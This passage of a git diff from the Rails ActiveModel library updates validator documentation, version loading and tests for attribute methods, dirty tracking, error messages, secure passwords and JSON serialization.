+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
# See <tt>ActiveModel::Validation#validates</tt> for more information
#
# The following checks can also be supplied with a proc or a symbol which
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index ab8c8359fc..5d593274eb 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -29,7 +29,7 @@ module ActiveModel
# * <tt>:message</tt> - A custom error message (default is: "can't be blank").
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_presence_of(*attr_names)
validates_with PresenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 9a1ff2ad39..ae8d377fdf 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -13,7 +13,7 @@ module ActiveModel
# validates :terms, acceptance: true
# validates :password, confirmation: true
# validates :username, exclusion: { in: %w(admin superuser) }
- # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+ # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
# validates :age, inclusion: { in: 0..9 }
# validates :first_name, length: { maximum: 30 }
# validates :age, numericality: true
@@ -83,7 +83,9 @@ module ActiveModel
# or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
# method, proc or string should return or evaluate to a +true+ or
# +false+ value.
- # * <tt>:strict</tt> - if the <tt>:strict</tt> option is set to true
+ # * <tt>:allow_nil</tt> - Skip validation if the attribute is +nil+.
+ # * <tt>:allow_blank</tt> - Skip validation if the attribute is blank.
+ # * <tt>:strict</tt> - If the <tt>:strict</tt> option is set to true
# will raise ActiveModel::StrictValidationFailed instead of adding the error.
# <tt>:strict</tt> option can also be set to any other exception.
#
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index 16bd6670d1..ff41572105 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -53,7 +53,7 @@ module ActiveModel
#
# Configuration options:
# * <tt>:on</tt> - Specifies when this validation is active
- # (<tt>:create</tt> or <tt>:update</tt>.
+ # (<tt>:create</tt> or <tt>:update</tt>).
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
# if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>).
@@ -139,6 +139,8 @@ module ActiveModel
# class version of this method for more information.
def validates_with(*args, &block)
options = args.extract_options!
+ options[:class] = self.class
+
args.each do |klass|
validator = klass.new(options, &block)
validator.validate(self)
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 690856aee1..bddacc8c45 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -61,7 +61,7 @@ module ActiveModel
# end
#
# Note that the validator is initialized only once for the whole application
- # lifecycle, and not on each validation run.
+ # life cycle, and not on each validation run.
#
# The easiest way to add custom validators for validating individual attributes
# is with the convenient <tt>ActiveModel::EachValidator</tt>.
@@ -83,7 +83,7 @@ module ActiveModel
# end
#
# It can be useful to access the class that is using that validator when there are prerequisites such
- # as an +attr_accessor+ being present. This class is accessable via +options[:class]+ in the constructor.
+ # as an +attr_accessor+ being present. This class is accessible via +options[:class]+ in the constructor.
# To setup your validator override the constructor.
#
# class MyValidator < ActiveModel::Validator
@@ -109,7 +109,7 @@ module ActiveModel
deprecated_setup(options)
end
- # Return the kind for this validator.
+ # Returns the kind for this validator.
#
# PresenceValidator.new.kind # => :presence
# UniquenessValidator.new.kind # => :uniqueness
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index 86340bba37..b1f9082ea7 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
module ActiveModel
- # Returns the version of the currently loaded ActiveModel as a Gem::Version
+ # Returns the version of the currently loaded ActiveModel as a <tt>Gem::Version</tt>
def self.version
- Gem::Version.new "4.1.0.beta"
- end
-
- module VERSION #:nodoc:
- MAJOR, MINOR, TINY, PRE = ActiveModel.version.segments
- STRING = ActiveModel.version.to_s
+ gem_version
end
end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index e9cb5ccc96..e81b7ac424 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -104,10 +104,14 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attribute_method generates attribute method' do
- ModelWithAttributes.define_attribute_method(:foo)
+ begin
+ ModelWithAttributes.define_attribute_method(:foo)
- assert_respond_to ModelWithAttributes.new, :foo
- assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_respond_to ModelWithAttributes.new, :foo
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ ensure
+ ModelWithAttributes.undefine_attribute_methods
+ end
end
test '#define_attribute_method does not generate attribute method if already defined in attribute module' do
@@ -134,24 +138,36 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attribute_method generates attribute method with invalid identifier characters' do
- ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
+ begin
+ ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b')
- assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
- assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+ assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b'
+ assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b')
+ ensure
+ ModelWithWeirdNamesAttributes.undefine_attribute_methods
+ end
end
test '#define_attribute_methods works passing multiple arguments' do
- ModelWithAttributes.define_attribute_methods(:foo, :baz)
+ begin
+ ModelWithAttributes.define_attribute_methods(:foo, :baz)
- assert_equal "value of foo", ModelWithAttributes.new.foo
- assert_equal "value of baz", ModelWithAttributes.new.baz
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_equal "value of baz", ModelWithAttributes.new.baz
+ ensure
+ ModelWithAttributes.undefine_attribute_methods
+ end
end
test '#define_attribute_methods generates attribute methods' do
- ModelWithAttributes.define_attribute_methods(:foo)
+ begin
+ ModelWithAttributes.define_attribute_methods(:foo)
- assert_respond_to ModelWithAttributes.new, :foo
- assert_equal "value of foo", ModelWithAttributes.new.foo
+ assert_respond_to ModelWithAttributes.new, :foo
+ assert_equal "value of foo", ModelWithAttributes.new.foo
+ ensure
+ ModelWithAttributes.undefine_attribute_methods
+ end
end
test '#alias_attribute generates attribute_aliases lookup hash' do
@@ -164,26 +180,38 @@ class AttributeMethodsTest < ActiveModel::TestCase
end
test '#define_attribute_methods generates attribute methods with spaces in their names' do
- ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+ begin
+ ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
- assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
- assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+ assert_respond_to ModelWithAttributesWithSpaces.new, :'foo bar'
+ assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.send(:'foo bar')
+ ensure
+ ModelWithAttributesWithSpaces.undefine_attribute_methods
+ end
end
test '#alias_attribute works with attributes with spaces in their names' do
- ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
- ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
+ begin
+ ModelWithAttributesWithSpaces.define_attribute_methods(:'foo bar')
+ ModelWithAttributesWithSpaces.alias_attribute(:'foo_bar', :'foo bar')
- assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+ assert_equal "value of foo bar", ModelWithAttributesWithSpaces.new.foo_bar
+ ensure
+ ModelWithAttributesWithSpaces.undefine_attribute_methods
+ end
end
test '#alias_attribute works with attributes named as a ruby keyword' do
- ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
- ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
- ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
-
- assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
- assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+ begin
+ ModelWithRubyKeywordNamedAttributes.define_attribute_methods([:begin, :end])
+ ModelWithRubyKeywordNamedAttributes.alias_attribute(:from, :begin)
+ ModelWithRubyKeywordNamedAttributes.alias_attribute(:to, :end)
+
+ assert_equal "value of begin", ModelWithRubyKeywordNamedAttributes.new.from
+ assert_equal "value of end", ModelWithRubyKeywordNamedAttributes.new.to
+ ensure
+ ModelWithRubyKeywordNamedAttributes.undefine_attribute_methods
+ end
end
test '#undefine_attribute_methods removes attribute methods' do
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index 3bb177591d..c5cfbf909d 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -24,6 +24,16 @@ class ConversionTest < ActiveModel::TestCase
assert_equal "1", Contact.new(id: 1).to_param
end
+ test "to_param returns nil if to_key is nil" do
+ klass = Class.new(Contact) do
+ def persisted?
+ true
+ end
+ end
+
+ assert_nil klass.new.to_param
+ end
+
test "to_partial_path default implementation returns a string giving a relative path" do
assert_equal "contacts/contact", Contact.new.to_partial_path
assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path,
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index ba45089cca..2853476c91 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -3,11 +3,12 @@ require "cases/helper"
class DirtyTest < ActiveModel::TestCase
class DirtyModel
include ActiveModel::Dirty
- define_attribute_methods :name, :color
+ define_attribute_methods :name, :color, :size
def initialize
@name = nil
@color = nil
+ @size = nil
end
def name
@@ -28,9 +29,21 @@ class DirtyTest < ActiveModel::TestCase
@color = val
end
+ def size
+ @size
+ end
+
+ def size=(val)
+ attribute_will_change!(:size) unless val == @size
+ @size = val
+ end
+
def save
- @previously_changed = changes
- @changed_attributes.clear
+ changes_applied
+ end
+
+ def reload
+ reset_changes
end
end
@@ -58,12 +71,30 @@ class DirtyTest < ActiveModel::TestCase
assert_equal [nil, "John"], @model.changes['name']
end
+ test "checking if an attribute has changed to a particular value" do
+ @model.name = "Ringo"
+ assert @model.name_changed?(from: nil, to: "Ringo")
+ assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+ assert @model.name_changed?(to: "Ringo")
+ assert_not @model.name_changed?(to: "Pete")
+ assert @model.name_changed?(from: nil)
+ assert_not @model.name_changed?(from: "Pete")
+ end
+
test "changes accessible through both strings and symbols" do
@model.name = "David"
assert_not_nil @model.changes[:name]
assert_not_nil @model.changes['name']
end
+ test "be consistent with symbols arguments after the changes are applied" do
+ @model.name = "David"
+ assert @model.attribute_changed?(:name)
+ @model.save
+ @model.name = 'Rafael'
+ assert @model.attribute_changed?(:name)
+ end
+
test "attribute mutation" do
@model.instance_variable_set("@name", "Yam")
assert !@model.name_changed?
@@ -125,4 +156,24 @@ class DirtyTest < ActiveModel::TestCase
assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
assert_equal @model.name_was, "Otto"
end
+
+ test "using attribute_will_change! with a symbol" do
+ @model.size = 1
+ assert @model.size_changed?
+ end
+
+ test "reload should reset all changes" do
+ @model.name = 'Dmitry'
+ @model.name_changed?
+ @model.save
+ @model.name = 'Bob'
+
+ assert_equal [nil, 'Dmitry'], @model.previous_changes['name']
+ assert_equal 'Dmitry', @model.changed_attributes['name']
+
+ @model.reload
+
+ assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+ assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+ end
end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 4e07e0e00b..42d0365521 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -11,7 +11,7 @@ class ErrorsTest < ActiveModel::TestCase
attr_reader :errors
def validate!
- errors.add(:name, "can not be nil") if name == nil
+ errors.add(:name, "cannot be nil") if name == nil
end
def read_attribute_for_validation(attr)
@@ -51,7 +51,12 @@ class ErrorsTest < ActiveModel::TestCase
def test_has_key?
errors = ActiveModel::Errors.new(self)
errors[:foo] = 'omg'
- assert errors.has_key?(:foo), 'errors should have key :foo'
+ assert_equal true, errors.has_key?(:foo), 'errors should have key :foo'
+ end
+
+ def test_has_no_key
+ errors = ActiveModel::Errors.new(self)
+ assert_equal false, errors.has_key?(:name), 'errors should not have key :name'
end
test "clear errors" do
@@ -77,6 +82,13 @@ class ErrorsTest < ActiveModel::TestCase
assert_equal({ foo: "omg" }, errors.messages)
end
+ test "error access is indifferent" do
+ errors = ActiveModel::Errors.new(self)
+ errors[:foo] = "omg"
+
+ assert_equal ["omg"], errors["foo"]
+ end
+
test "values returns an array of messages" do
errors = ActiveModel::Errors.new(self)
errors.set(:foo, "omg")
@@ -104,8 +116,8 @@ class ErrorsTest < ActiveModel::TestCase
test "adding errors using conditionals with Person#validate!" do
person = Person.new
person.validate!
- assert_equal ["name can not be nil"], person.errors.full_messages
- assert_equal ["can not be nil"], person.errors[:name]
+ assert_equal ["name cannot be nil"], person.errors.full_messages
+ assert_equal ["cannot be nil"], person.errors[:name]
end
test "assign error" do
@@ -116,8 +128,8 @@ class ErrorsTest < ActiveModel::TestCase
test "add an error message on a specific attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert_equal ["can not be blank"], person.errors[:name]
+ person.errors.add(:name, "cannot be blank")
+ assert_equal ["cannot be blank"], person.errors[:name]
end
test "add an error with a symbol" do
@@ -129,15 +141,15 @@ class ErrorsTest < ActiveModel::TestCase
test "add an error with a proc" do
person = Person.new
- message = Proc.new { "can not be blank" }
+ message = Proc.new { "cannot be blank" }
person.errors.add(:name, message)
- assert_equal ["can not be blank"], person.errors[:name]
+ assert_equal ["cannot be blank"], person.errors[:name]
end
test "added? detects if a specific error was added to the object" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert person.errors.added?(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
+ assert person.errors.added?(:name, "cannot be blank")
end
test "added? handles symbol message" do
@@ -148,7 +160,7 @@ class ErrorsTest < ActiveModel::TestCase
test "added? handles proc messages" do
person = Person.new
- message = Proc.new { "can not be blank" }
+ message = Proc.new { "cannot be blank" }
person.errors.add(:name, message)
assert person.errors.added?(:name, message)
end
@@ -161,9 +173,9 @@ class ErrorsTest < ActiveModel::TestCase
test "added? matches the given message when several errors are present for the same attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
person.errors.add(:name, "is invalid")
- assert person.errors.added?(:name, "can not be blank")
+ assert person.errors.added?(:name, "cannot be blank")
end
test "added? returns false when no errors are present" do
@@ -174,52 +186,52 @@ class ErrorsTest < ActiveModel::TestCase
test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
person = Person.new
person.errors.add(:name, "is invalid")
- assert !person.errors.added?(:name, "can not be blank")
+ assert !person.errors.added?(:name, "cannot be blank")
end
test "size calculates the number of error messages" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
assert_equal 1, person.errors.size
end
test "to_a returns the list of errors with complete messages containing the attribute names" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.to_a
end
test "to_hash returns the error messages hash" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- assert_equal({ name: ["can not be blank"] }, person.errors.to_hash)
+ person.errors.add(:name, "cannot be blank")
+ assert_equal({ name: ["cannot be blank"] }, person.errors.to_hash)
end
test "full_messages creates a list of error messages with the attribute name included" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages
end
test "full_messages_for contains all the error messages for the given attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:name, "can not be nil")
- assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages_for(:name)
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:name, "cannot be nil")
+ assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
end
test "full_messages_for does not contain error messages from other attributes" do
person = Person.new
- person.errors.add(:name, "can not be blank")
- person.errors.add(:email, "can not be blank")
- assert_equal ["name can not be blank"], person.errors.full_messages_for(:name)
+ person.errors.add(:name, "cannot be blank")
+ person.errors.add(:email, "cannot be blank")
+ assert_equal ["name cannot be blank"], person.errors.full_messages_for(:name)
end
test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
person = Person.new
- person.errors.add(:name, "can not be blank")
+ person.errors.add(:name, "cannot be blank")
assert_equal [], person.errors.full_messages_for(:email)
end
@@ -230,22 +242,22 @@ class ErrorsTest < ActiveModel::TestCase
test "full_message returns the given message with the attribute name included" do
person = Person.new
- assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank")
- assert_equal "name_test can not be blank", person.errors.full_message(:name_test, "can not be blank")
+ assert_equal "name cannot be blank", person.errors.full_message(:name, "cannot be blank")
+ assert_equal "name_test cannot be blank", person.errors.full_message(:name_test, "cannot be blank")
end
test "as_json creates a json formatted representation of the errors hash" do
person = Person.new
person.validate!
- assert_equal({ name: ["can not be nil"] }, person.errors.as_json)
+ assert_equal({ name: ["cannot be nil"] }, person.errors.as_json)
end
test "as_json with :full_messages option creates a json formatted representation of the errors containing complete messages" do
person = Person.new
person.validate!
- assert_equal({ name: ["name can not be nil"] }, person.errors.as_json(full_messages: true))
+ assert_equal({ name: ["name cannot be nil"] }, person.errors.as_json(full_messages: true))
end
test "generate_message works without i18n_scope" do
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index 7a63674757..522a7cebb4 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -7,4 +7,7 @@ require 'active_support/core_ext/string/access'
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
require 'active_support/testing/autorun'
diff --git a/activemodel/test/cases/railtie_test.rb b/activemodel/test/cases/railtie_test.rb
index 0643fa775d..96b3b07e50 100644
--- a/activemodel/test/cases/railtie_test.rb
+++ b/activemodel/test/cases/railtie_test.rb
@@ -8,7 +8,7 @@ class RailtieTest < ActiveModel::TestCase
require 'active_model/railtie'
# Set a fake logger to avoid creating the log directory automatically
- fake_logger = mock()
+ fake_logger = Logger.new(nil)
@app ||= Class.new(::Rails::Application) do
config.eager_load = false
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 0b900d934d..bcd1e04a0f 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -1,78 +1,161 @@
require 'cases/helper'
require 'models/user'
-require 'models/oauthed_user'
require 'models/visitor'
-require 'models/administrator'
class SecurePasswordTest < ActiveModel::TestCase
setup do
+ # Used only to speed up tests
+ @original_min_cost = ActiveModel::SecurePassword.min_cost
ActiveModel::SecurePassword.min_cost = true
@user = User.new
@visitor = Visitor.new
- @oauthed_user = OauthedUser.new
+
+ # Simulate loading an existing user from the DB
+ @existing_user = User.new
+ @existing_user.password_digest = BCrypt::Password.create('password', cost: BCrypt::Engine::MIN_COST)
end
teardown do
- ActiveModel::SecurePassword.min_cost = false
+ ActiveModel::SecurePassword.min_cost = @original_min_cost
end
- test "blank password" do
- @user.password = @visitor.password = ''
- assert !@user.valid?(:create), 'user should be invalid'
+ test "create and updating without validations" do
assert @visitor.valid?(:create), 'visitor should be valid'
- end
+ assert @visitor.valid?(:update), 'visitor should be valid'
+
+ @visitor.password = '123'
+ @visitor.password_confirmation = '456'
- test "nil password" do
- @user.password = @visitor.password = nil
- assert !@user.valid?(:create), 'user should be invalid'
assert @visitor.valid?(:create), 'visitor should be valid'
+ assert @visitor.valid?(:update), 'visitor should be valid'
end
- test "blank password doesn't override previous password" do
- @user.password = 'test'
+ test "create a new user with validation and a blank password" do
@user.password = ''
- assert_equal @user.password, 'test'
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["can't be blank"], @user.errors[:password]
end
- test "password must be present" do
- assert !@user.valid?(:create)
- assert_equal 1, @user.errors.size
+ test "create a new user with validation and a nil password" do
+ @user.password = nil
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["can't be blank"], @user.errors[:password]
end
- test "match confirmation" do
- @user.password = @visitor.password = "thiswillberight"
- @user.password_confirmation = @visitor.password_confirmation = "wrong"
+ test "create a new user with validation and a blank password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = ''
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+ end
- assert !@user.valid?
- assert @visitor.valid?
+ test "create a new user with validation and a nil password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = nil
+ assert @user.valid?(:create), 'user should be valid'
+ end
- @user.password_confirmation = "thiswillberight"
+ test "create a new user with validation and an incorrect password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = 'something else'
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
+ end
- assert @user.valid?
+ test "create a new user with validation and a correct password confirmation" do
+ @user.password = 'password'
+ @user.password_confirmation = 'something else'
+ assert !@user.valid?(:create), 'user should be invalid'
+ assert_equal 1, @user.errors.count
+ assert_equal ["doesn't match Password"], @user.errors[:password_confirmation]
end
- test "authenticate" do
- @user.password = "secret"
+ test "update an existing user with validation and no change in password" do
+ assert @existing_user.valid?(:update), 'user should be valid'
+ end
- assert !@user.authenticate("wrong")
- assert @user.authenticate("secret")
+ test "updating an existing user with validation and a blank password" do
+ @existing_user.password = ''
+ assert @existing_user.valid?(:update), 'user should be valid'
end
- test "User should not be created with blank digest" do
- assert_raise RuntimeError do
- @user.run_callbacks :create
- end
- @user.password = "supersecretpassword"
- assert_nothing_raised do
- @user.run_callbacks :create
- end
+ test "updating an existing user with validation and a blank password and password_confirmation" do
+ @existing_user.password = ''
+ @existing_user.password_confirmation = ''
+ assert @existing_user.valid?(:update), 'user should be valid'
end
- test "Oauthed user can be created with blank digest" do
- assert_nothing_raised do
- @oauthed_user.run_callbacks :create
- end
+ test "updating an existing user with validation and a nil password" do
+ @existing_user.password = nil
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["can't be blank"], @existing_user.errors[:password]
+ end
+
+ test "updating an existing user with validation and a blank password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = ''
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+ end
+
+ test "updating an existing user with validation and a nil password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = nil
+ assert @existing_user.valid?(:update), 'user should be valid'
+ end
+
+ test "updating an existing user with validation and an incorrect password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = 'something else'
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+ end
+
+ test "updating an existing user with validation and a correct password confirmation" do
+ @existing_user.password = 'password'
+ @existing_user.password_confirmation = 'something else'
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["doesn't match Password"], @existing_user.errors[:password_confirmation]
+ end
+
+ test "updating an existing user with validation and a blank password digest" do
+ @existing_user.password_digest = ''
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["can't be blank"], @existing_user.errors[:password]
+ end
+
+ test "updating an existing user with validation and a nil password digest" do
+ @existing_user.password_digest = nil
+ assert !@existing_user.valid?(:update), 'user should be invalid'
+ assert_equal 1, @existing_user.errors.count
+ assert_equal ["can't be blank"], @existing_user.errors[:password]
+ end
+
+ test "setting a blank password should not change an existing password" do
+ @existing_user.password = ''
+ assert @existing_user.password_digest == 'password'
+ end
+
+ test "setting a nil password should clear an existing password" do
+ @existing_user.password = nil
+ assert_equal nil, @existing_user.password_digest
+ end
+
+ test "authenticate" do
+ @user.password = "secret"
+
+ assert !@user.authenticate("wrong")
+ assert @user.authenticate("secret")
end
test "Password digest cost defaults to bcrypt default cost when min_cost is false" do
@@ -82,25 +165,23 @@ class SecurePasswordTest < ActiveModel::TestCase
assert_equal BCrypt::Engine::DEFAULT_COST, @user.password_digest.cost
end
+ test "Password digest cost honors bcrypt cost attribute when min_cost is false" do
+ begin
+ original_bcrypt_cost = BCrypt::Engine.cost
+ ActiveModel::SecurePassword.min_cost = false
+ BCrypt::Engine.cost = 5
+
+ @user.password = "secret"
+ assert_equal BCrypt::Engine.cost, @user.password_digest.cost
+ ensure
+ BCrypt::Engine.cost = original_bcrypt_cost
+ end
+ end
+
test "Password digest cost can be set to bcrypt min cost to speed up tests" do
ActiveModel::SecurePassword.min_cost = true
@user.password = "secret"
assert_equal BCrypt::Engine::MIN_COST, @user.password_digest.cost
end
-
- test "blank password_confirmation does not result in a confirmation error" do
- @user.password = ""
- @user.password_confirmation = ""
- assert @user.valid?(:update), "user should be valid"
- end
-
- test "will not save if confirmation is blank but password is not" do
- @user.password = "password"
- @user.password_confirmation = ""
- assert_not @user.valid?(:create)
-
- @user.password_confirmation = "password"
- assert @user.valid?(:create)
- end
end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index f0347081ee..60414a6570 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -30,11 +30,6 @@ class JsonSerializationTest < ActiveModel::TestCase
@contact.preferences = { 'shows' => 'anime' }
end
- def teardown
- # set to the default value
- Contact.include_root_in_json = false
- end
-
test "should not include root in json (class method)" do
json = @contact.to_json
@@ -47,19 +42,25 @@ class JsonSerializationTest < ActiveModel::TestCase
end
test "should include root in json if include_root_in_json is true" do
- Contact.include_root_in_json = true
- json = @contact.to_json
-
- assert_match %r{^\{"contact":\{}, json
- assert_match %r{"name":"Konata Izumi"}, json
- assert_match %r{"age":16}, json
- assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
- assert_match %r{"awesome":true}, json
- assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ begin
+ original_include_root_in_json = Contact.include_root_in_json
+ Contact.include_root_in_json = true
+ json = @contact.to_json
+
+ assert_match %r{^\{"contact":\{}, json
+ assert_match %r{"name":"Konata Izumi"}, json
+ assert_match %r{"age":16}, json
+ assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+ assert_match %r{"awesome":true}, json
+ assert_match %r{"preferences":\{"shows":"anime"\}}, json
+ ensure
+ Contact.include_root_in_json = original_include_root_in_json
+ end
end
test "should include root in json (option) even if the default is set to false" do
json = @contact.to_json(root: true)
+
assert_match %r{^\{"contact":\{}, json
end
@@ -145,22 +146,21 @@ class JsonSerializationTest < ActiveModel::TestCase
end
test "as_json should return a hash if include_root_in_json is true" do
- Contact.include_root_in_json = true
- json = @contact.as_json
-
- assert_kind_of Hash, json
- assert_kind_of Hash, json['contact']
- %w(name age created_at awesome preferences).each do |field|
- assert_equal @contact.send(field), json['contact'][field]
+ begin
+ original_include_root_in_json = Contact.include_root_in_json
+ Contact.include_root_in_json = true
+ json = @contact.as_json
+
+ assert_kind_of Hash, json
+ assert_kind_of Hash, json['contact']
+ %w(name age created_at awesome preferences).each do |field|
+ assert_equal @contact.send(field), json['contact'][field]
+ end
+ ensure
+ Contact.include_root_in_json = original_include_root_in_json
end
end
- test "as_json should keep the default order in the hash" do
- json = @contact.as_json
-
- assert_equal %w(name age created_at awesome preferences), json.keys
- end
-
test "from_json should work without a root (class attribute)" do
json = @contact.to_json
result = Contact.new.from_json(json)
@@ -204,7 +204,7 @@ class JsonSerializationTest < ActiveModel::TestCase
assert_no_match %r{"preferences":}, json
end
- test "custom as_json options should be extendible" do
+ test "custom as_json options should be extensible" do
def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
json = @contact.to_json
